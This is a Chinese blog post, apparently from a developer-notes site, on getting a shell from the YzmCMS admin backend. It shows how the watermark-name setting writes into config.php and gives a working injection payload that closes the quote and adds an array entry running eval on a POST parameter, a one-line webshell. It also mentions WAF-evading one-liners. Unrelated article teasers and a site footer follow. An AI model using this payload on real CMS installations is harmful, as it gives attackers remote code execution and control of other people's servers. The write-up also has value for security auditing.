热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Yzmcms后台拿shell

废话不多说,直入正题首先function.php可以看到此方法是用数组遍历的方式写入到configconfig.php打开config.php看看

废话不多说,直入正题

首先function.php

技术分享

可以看到此方法是用数组遍历的方式写入到/config/config.php

打开config.php看看

 ‘default‘, //站点默认主题目录
‘url_html_suffix‘ => ‘.html‘, //URL伪静态后缀
 
//数据库配置
‘db_type‘   => ‘mysqli‘,     // 数据库链接扩展【暂支持 mysql 和 mysqli】
‘db_host‘ => ‘127.0.0.1‘,  // 服务器地址
‘db_name‘ => ‘yzmcms‘,    // 数据库名
‘db_user‘ => ‘root‘,      // 用户名
‘db_pwd‘ => ‘root‘,          // 密码
‘db_port‘ => 3306,        // 端口
‘db_prefix‘ => ‘yzm_‘,      // 数据库表前缀 
 
//路由配置
‘route‘ => array(‘m‘=>‘index‘, ‘c‘=>‘index‘, ‘a‘=>‘init‘),  //默认加载配置,基中“m”为模型,“c”为控制器,“a”为事件
 
//COOKIE配置
‘COOKIE_domain‘ => ‘‘, //COOKIE 作用域
‘COOKIE_path‘ => ‘/‘,  //COOKIE 作用路径
‘COOKIE_ttl‘ => 0,     //COOKIE 生命周期,0 表示随浏览器进程
‘COOKIE_pre‘ => ‘yzmphp_‘, //COOKIE 前缀,同一域名下安装多套系统时,请修改COOKIE前缀
‘COOKIE_secure‘ => false,  //是否通过安全的 HTTPS 连接来传输 COOKIE
 
//系统语言
‘language‘ => ‘zh_cn‘, //【暂支持 简体中文zh_cn 和 美式英语en_us】
 
//附件相关配置
‘upload_file‘ => ‘uploads‘,  //上传文件目录,后面一定不要加斜杠(“/”)
‘watermark_enable‘ => ‘1‘, //是否开启图片水印
‘watermark_name‘ => ‘mank.png‘, //水印名称
‘watermark_position‘ => ‘9‘, //水印位置
 
);
?>

用return array()把所有配置定义成一个数组

33行水印名称这里可以从后台控制

技术分享

系统管理 > 系统设置 > 附加设置

技术分享

这时候你一定想到了在水印名称处闭合单引号插一句话到config.php中

如这样:

技术分享

‘,);?>

成功闭合插入,那么问题来了,连不上

当时我就懵逼了

技术分享

可能是程序有一些防护措施,于是试了几个珍藏多年的过狗一句话

自信满满的写入进去,依然连不上

当时我的心情是这样的

技术分享
这tm不科学啊
赶紧去问了问fly师傅
得知是因为return出去了,可以闭合单引号添加数组的思路来搞一搞

和几个朋友讨论后搞出了这样的思路

‘,’test’=>”${@eval($_POST[‘a’])};”,’a’=>’

技术分享

成功连接

技术分享

以后会多出一些审计的文章,发现不玩审计不知道,一玩才发现自己是真的菜唉–

Yzmcms后台拿shell


推荐阅读
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • 基于layUI的图片上传前预览功能的2种实现方式
    本文介绍了基于layUI的图片上传前预览功能的两种实现方式:一种是使用blob+FileReader,另一种是使用layUI自带的参数。通过选择文件后点击文件名,在页面中间弹窗内预览图片。其中,layUI自带的参数实现了图片预览功能。该功能依赖于layUI的上传模块,并使用了blob和FileReader来读取本地文件并获取图像的base64编码。点击文件名时会执行See()函数。摘要长度为169字。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 本文介绍了C#中数据集DataSet对象的使用及相关方法详解,包括DataSet对象的概述、与数据关系对象的互联、Rows集合和Columns集合的组成,以及DataSet对象常用的方法之一——Merge方法的使用。通过本文的阅读,读者可以了解到DataSet对象在C#中的重要性和使用方法。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 动态规划算法的基本步骤及最长递增子序列问题详解
    本文详细介绍了动态规划算法的基本步骤,包括划分阶段、选择状态、决策和状态转移方程,并以最长递增子序列问题为例进行了详细解析。动态规划算法的有效性依赖于问题本身所具有的最优子结构性质和子问题重叠性质。通过将子问题的解保存在一个表中,在以后尽可能多地利用这些子问题的解,从而提高算法的效率。 ... [详细]
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
  • Java验证码——kaptcha的使用配置及样式
    本文介绍了如何使用kaptcha库来实现Java验证码的配置和样式设置,包括pom.xml的依赖配置和web.xml中servlet的配置。 ... [详细]
  • 高质量SQL书写的30条建议
    本文提供了30条关于优化SQL的建议,包括避免使用select *,使用具体字段,以及使用limit 1等。这些建议是基于实际开发经验总结出来的,旨在帮助读者优化SQL查询。 ... [详细]
  • 本文介绍了指针的概念以及在函数调用时使用指针作为参数的情况。指针存放的是变量的地址,通过指针可以修改指针所指的变量的值。然而,如果想要修改指针的指向,就需要使用指针的引用。文章还通过一个简单的示例代码解释了指针的引用的使用方法,并思考了在修改指针的指向后,取指针的输出结果。 ... [详细]
  • 在project.properties添加#Projecttarget.targetandroid-19android.library.reference.1..Sliding ... [详细]
  • CentOS 7部署KVM虚拟化环境之一架构介绍
    本文介绍了CentOS 7部署KVM虚拟化环境的架构,详细解释了虚拟化技术的概念和原理,包括全虚拟化和半虚拟化。同时介绍了虚拟机的概念和虚拟化软件的作用。 ... [详细]
author-avatar
会说话de狗尾草
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有